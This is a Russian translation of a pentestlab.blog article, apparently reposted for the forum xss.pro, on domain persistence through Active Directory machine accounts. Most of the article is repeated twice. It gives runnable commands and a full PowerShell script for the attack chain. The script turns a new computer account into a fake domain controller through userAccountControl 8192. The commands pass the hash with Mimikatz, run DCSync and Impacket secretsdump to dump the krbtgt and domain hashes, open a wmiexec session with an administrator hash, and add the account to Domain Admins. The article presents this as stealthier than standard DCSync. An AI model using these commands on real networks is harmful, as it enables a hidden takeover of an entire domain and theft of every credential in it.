Учетные записи компьютеров играют роль в операциях RT, поскольку в ряде методов используются для повышения привилегий, бокового перемещения и расширения домена. Однако есть также случаи, когда учетная запись компьютера может использоваться для установления персистенса домена. Это включает либо добавление произвольной учетной записи компьютера в группу с высокими привилегиями, такую как администраторы домена, либо изменение атрибута "userAccountControl", который преобразует учетную запись компьютера в контроллер домена. В обоих сценариях оператор RT может аутентифицироваться как учетная запись компьютера (поскольку пароль известен) и выполнять операции с повышенными правами, такие как DCSync, для получения всех хэшей домена.
Шон Меткалф был первым, кто публично раскрыл, как учетные записи компьютеров можно использовать в качестве лазейки для персистенса в домене, добавляя их в группы с высоким уровнем привилегий. Этот метод идентичен стандартным учетным записям пользователей, которые добавляются в группу администраторов домена. В 2020 году Stealthbits выпустила статью, в которой демонстрируется альтернативный метод сохранения, который включает в себя использование репликации Active Directory из учетной записи компьютера. Несмотря на то, что дамп хэшей паролей с помощью метода DCSync не нов, и у команд SOC могут быть надлежащие предупреждения, использование учетной записи компьютера для выполнения того же метода может быть более скрытным подходом.
UserAccountControl
По умолчанию обычным пользователям в домене разрешено создавать до 10 учетных записей компьютеров, что определяется атрибутом ms-DS-MachineAccountQuota. Создание учетных записей компьютеров тривиально и может выполняться с помощью ряда инструментов как с хостов, присоединенных к домену, так и с хостов, не присоединенных к домену. Однако, чтобы учетная запись компьютера отображалась как контроллер домена, атрибут userAccountControl должен иметь значение 0x2000 = ( SERVER_TRUST_ACCOUNT ). 0x2000 — это шестнадцатеричное число, которое в десятичном виде представляет собой число 8192. Для изменения этого атрибута требуются права администратора домена. На изображении ниже показано, как можно изменить атрибут с точки зрения Active Directory.
Существуют различные инструменты, которые могут создать учетную запись компьютера из командной строки или с помощью имплантата, такого как StandIn, SharpMad и PowerMad. В консоли PowerShell выполнение следующей команды создаст новую учетную запись компьютера в домене.
Import-Module .\Powermad.psm1
New-MachineAccount -MachineAccount Pentestlab -Domain purple.lab -DomainController dc.purple.lab
Этот новый компьютер будет иметь идентификатор основной группы 515, который является RID для групп домена и означает, что это компьютер домена. Изменение атрибута userAccountControl изменит идентификатор основной группы компьютера. Поэтому, если этот атрибут изменен на значение 8192, идентификатор основной группы изменится на 516, который принадлежит контроллерам домена (доступным для записи).
Get-ADComputer Pentestlab -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Pentestlab -replace @{ "userAccountcontrol" = 8192 }
Поскольку пароль учетной записи компьютера известен, его хэш NTLM можно использовать с Mimikatz для передачи хэша. Новая командная строка откроется в контексте учетной записи компьютера.
privilege::debug
sekurlsa::pth /user:Pentestlab /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
Самая важная часть наличия учетной записи компьютера для работы в качестве контроллера домена заключается в том, что DCSync можно использовать для этой произвольной учетной записи вместо законного контроллера домена. С точки зрения обнаружения это может создать брешь в безопасности, которую можно использовать для использования общего метода и остаться незамеченным. Во время дампа хеша обычно интересуют учетные записи администраторов домена и учетная запись krbtgt, которая позволяет создать золотой билет.
lsadump::dcsync /domain:purple.lab /user:krbtgt
В качестве альтернативы, используя учетные данные учетной записи компьютера, secretsdump из пакета Impacket можно использовать для извлечения хэшей паролей домена.
python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc
Компания Stealthbits выпустила в своем официальном репозитории сценарий PowerShell под названием ServerUntrustAccount, который можно использовать для автоматизации метода персистентности в домене путем изменения атрибута userAccountControl. Выполнение функции "Add-ServerUntrustAccount" добавит в сеть новую учетную запись компьютера с заданным паролем. Кроме того, учетной записи будет предоставлена привилегия DS-Install-Replica, а атрибут userAccountControl будет изменен.
Add-ServerUntrustAccount -ComputerName "Pentestlab" -Password "Password123" -Verbose
"Invoke-ServerUntrustAccount" можно использовать с учетными данными созданной учетной записи и путем Mimikatz на диске, чтобы сбросить хэши учетной записи krbtgt для проверки сохраняемости домена.
Invoke-ServerUntrustAccount -ComputerName "Pentestlab" -Password "Password123" -MimikatzPath ".\mimikatz.exe"
Хэш учетной записи администратора домена также полезен, если нужно восстановить прямое соединение с контроллером домена. Сценарий можно изменить, чтобы он нацеливался на эту учетную запись, чтобы получить хэш.
Хэш учетной записи администратора домена можно использовать с wmiexec из пакета Impacket для установления прямого канала связи с контроллером домена.
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
Автоматизация этого метода тривиальна, поскольку два командлета PowerShell фактически выполняются в фоновом режиме. Следующий сценарий создаст новый компьютер Active Directory, некоторые из его свойств будут предварительно заполнены указанными значениями, а затем атрибут userAccountControl будет изменен, чтобы учетная запись отображалась как контроллер домена.
Выполнение сценария предоставит следующий вывод в консоли, и компьютер можно использовать для выполнения метода DCSync.
Import-Module .\userAccountControl.ps1
Execute-userAccountControl
Группа привилегий
Учетные записи компьютеров также могут быть добавлены в привилегированные группы для установления постоянства домена. Выполнение следующей команды позволит получить группы активного каталога, к которым принадлежат администраторы домена.
Get-ADGroupMember "Administrators"
В командной строке с повышенными привилегиями выполнение приведенной ниже команды добавит учетную запись компьютера Pentestlab$ в группу администраторов домена.
net group "Domain Admins" Pentestlab$ /add /domain
Изучив вкладку "Членство" в свойствах учетной записи компьютера, можно убедиться, что учетная запись добавлена в группу "Администраторы домена".
Поскольку учетная запись имеет необходимые привилегии, ее можно использовать напрямую с secretsdump для получения хэшей паролей активного каталога.
python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/01/17/domain-persistence-machine-account/
Шон Меткалф был первым, кто публично раскрыл, как учетные записи компьютеров можно использовать в качестве лазейки для персистенса в домене, добавляя их в группы с высоким уровнем привилегий. Этот метод идентичен стандартным учетным записям пользователей, которые добавляются в группу администраторов домена. В 2020 году Stealthbits выпустила статью, в которой демонстрируется альтернативный метод сохранения, который включает в себя использование репликации Active Directory из учетной записи компьютера. Несмотря на то, что дамп хэшей паролей с помощью метода DCSync не нов, и у команд SOC могут быть надлежащие предупреждения, использование учетной записи компьютера для выполнения того же метода может быть более скрытным подходом.
UserAccountControl
По умолчанию обычным пользователям в домене разрешено создавать до 10 учетных записей компьютеров, что определяется атрибутом ms-DS-MachineAccountQuota. Создание учетных записей компьютеров тривиально и может выполняться с помощью ряда инструментов как с хостов, присоединенных к домену, так и с хостов, не присоединенных к домену. Однако, чтобы учетная запись компьютера отображалась как контроллер домена, атрибут userAccountControl должен иметь значение 0x2000 = ( SERVER_TRUST_ACCOUNT ). 0x2000 — это шестнадцатеричное число, которое в десятичном виде представляет собой число 8192. Для изменения этого атрибута требуются права администратора домена. На изображении ниже показано, как можно изменить атрибут с точки зрения Active Directory.
Существуют различные инструменты, которые могут создать учетную запись компьютера из командной строки или с помощью имплантата, такого как StandIn, SharpMad и PowerMad. В консоли PowerShell выполнение следующей команды создаст новую учетную запись компьютера в домене.
Import-Module .\Powermad.psm1
New-MachineAccount -MachineAccount Pentestlab -Domain purple.lab -DomainController dc.purple.lab
Этот новый компьютер будет иметь идентификатор основной группы 515, который является RID для групп домена и означает, что это компьютер домена. Изменение атрибута userAccountControl изменит идентификатор основной группы компьютера. Поэтому, если этот атрибут изменен на значение 8192, идентификатор основной группы изменится на 516, который принадлежит контроллерам домена (доступным для записи).
Get-ADComputer Pentestlab -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Pentestlab -replace @{ "userAccountcontrol" = 8192 }
Поскольку пароль учетной записи компьютера известен, его хэш NTLM можно использовать с Mimikatz для передачи хэша. Новая командная строка откроется в контексте учетной записи компьютера.
privilege::debug
sekurlsa::pth /user:Pentestlab /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
Самая важная часть наличия учетной записи компьютера для работы в качестве контроллера домена заключается в том, что DCSync можно использовать для этой произвольной учетной записи вместо законного контроллера домена. С точки зрения обнаружения это может создать брешь в безопасности, которую можно использовать для использования общего метода и остаться незамеченным. Во время дампа хеша обычно интересуют учетные записи администраторов домена и учетная запись krbtgt, которая позволяет создать золотой билет.
lsadump::dcsync /domain:purple.lab /user:krbtgt
В качестве альтернативы, используя учетные данные учетной записи компьютера, secretsdump из пакета Impacket можно использовать для извлечения хэшей паролей домена.
python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc
Компания Stealthbits выпустила в своем официальном репозитории сценарий PowerShell под названием ServerUntrustAccount, который можно использовать для автоматизации метода персистентности в домене путем изменения атрибута userAccountControl. Выполнение функции "Add-ServerUntrustAccount" добавит в сеть новую учетную запись компьютера с заданным паролем. Кроме того, учетной записи будет предоставлена привилегия DS-Install-Replica, а атрибут userAccountControl будет изменен.
Add-ServerUntrustAccount -ComputerName "Pentestlab" -Password "Password123" -Verbose
"Invoke-ServerUntrustAccount" можно использовать с учетными данными созданной учетной записи и путем Mimikatz на диске, чтобы сбросить хэши учетной записи krbtgt для проверки сохраняемости домена.
Invoke-ServerUntrustAccount -ComputerName "Pentestlab" -Password "Password123" -MimikatzPath ".\mimikatz.exe"
Хэш учетной записи администратора домена также полезен, если нужно восстановить прямое соединение с контроллером домена. Сценарий можно изменить, чтобы он нацеливался на эту учетную запись, чтобы получить хэш.
Хэш учетной записи администратора домена можно использовать с wmiexec из пакета Impacket для установления прямого канала связи с контроллером домена.
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
Автоматизация этого метода тривиальна, поскольку два командлета PowerShell фактически выполняются в фоновом режиме. Следующий сценарий создаст новый компьютер Active Directory, некоторые из его свойств будут предварительно заполнены указанными значениями, а затем атрибут userAccountControl будет изменен, чтобы учетная запись отображалась как контроллер домена.
| function Execute-userAccountControl { [CmdletBinding()] param ( [System.String]$DomainFQDN = $ENV:USERDNSDOMAIN, [System.String]$ComputerName = 'Pentestlab', [System.String]$OSVersion = '10.0 (18363)', [System.String]$OS = 'Windows 10 Enterprise', [System.String]$DNSName = "$ComputerName.$DomainFQDN", $MachineAccount = 'Pentestlab' ) $secureString = convertto-securestring "Password123" -asplaintext -force $VerbosePreference = "Continue" Write-Verbose -Message "Creating Computer Account: $ComputerName" New-ADComputer $ComputerName -AccountPassword $securestring -Enabled $true -OperatingSystem $OS -OperatingSystemVersion $OS_Version -DNSHostName $DNSName -ErrorAction Stop; Write-Verbose -Message "$ComputerName created!" Write-Verbose -Message "Attempting to establish persistence." Write-Verbose -Message "Changing the userAccountControl attribute of $MachineAccount computer to 8192." Set-ADComputer $MachineAccount -replace @{ "userAccountcontrol" = 8192 }; Write-Verbose -Message "$MachineAccount is now a Domain Controller!" Write-Verbose -Message "Domain persistence established!You can now use the DCSync technique with Pentestlab credentials." $VerbosePreference = "Continue" } |
Выполнение сценария предоставит следующий вывод в консоли, и компьютер можно использовать для выполнения метода DCSync.
Import-Module .\userAccountControl.ps1
Execute-userAccountControl
Группа привилегий
Учетные записи компьютеров также могут быть добавлены в привилегированные группы для установления постоянства домена. Выполнение следующей команды позволит получить группы активного каталога, к которым принадлежат администраторы домена.
Get-ADGroupMember "Administrators"
В командной строке с повышенными привилегиями выполнение приведенной ниже команды добавит учетную запись компьютера Pentestlab$ в группу администраторов домена.
net group "Domain Admins" Pentestlab$ /add /domain
Изучив вкладку "Членство" в свойствах учетной записи компьютера, можно убедиться, что учетная запись добавлена в группу "Администраторы домена".
Поскольку учетная запись имеет необходимые привилегии, ее можно использовать напрямую с secretsdump для получения хэшей паролей активного каталога.
python3 secretsdump.py purple.lab/Pentestlab\$:Password123@10.0.0.1 -just-dc-user krbtgt
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/01/17/domain-persistence-machine-account/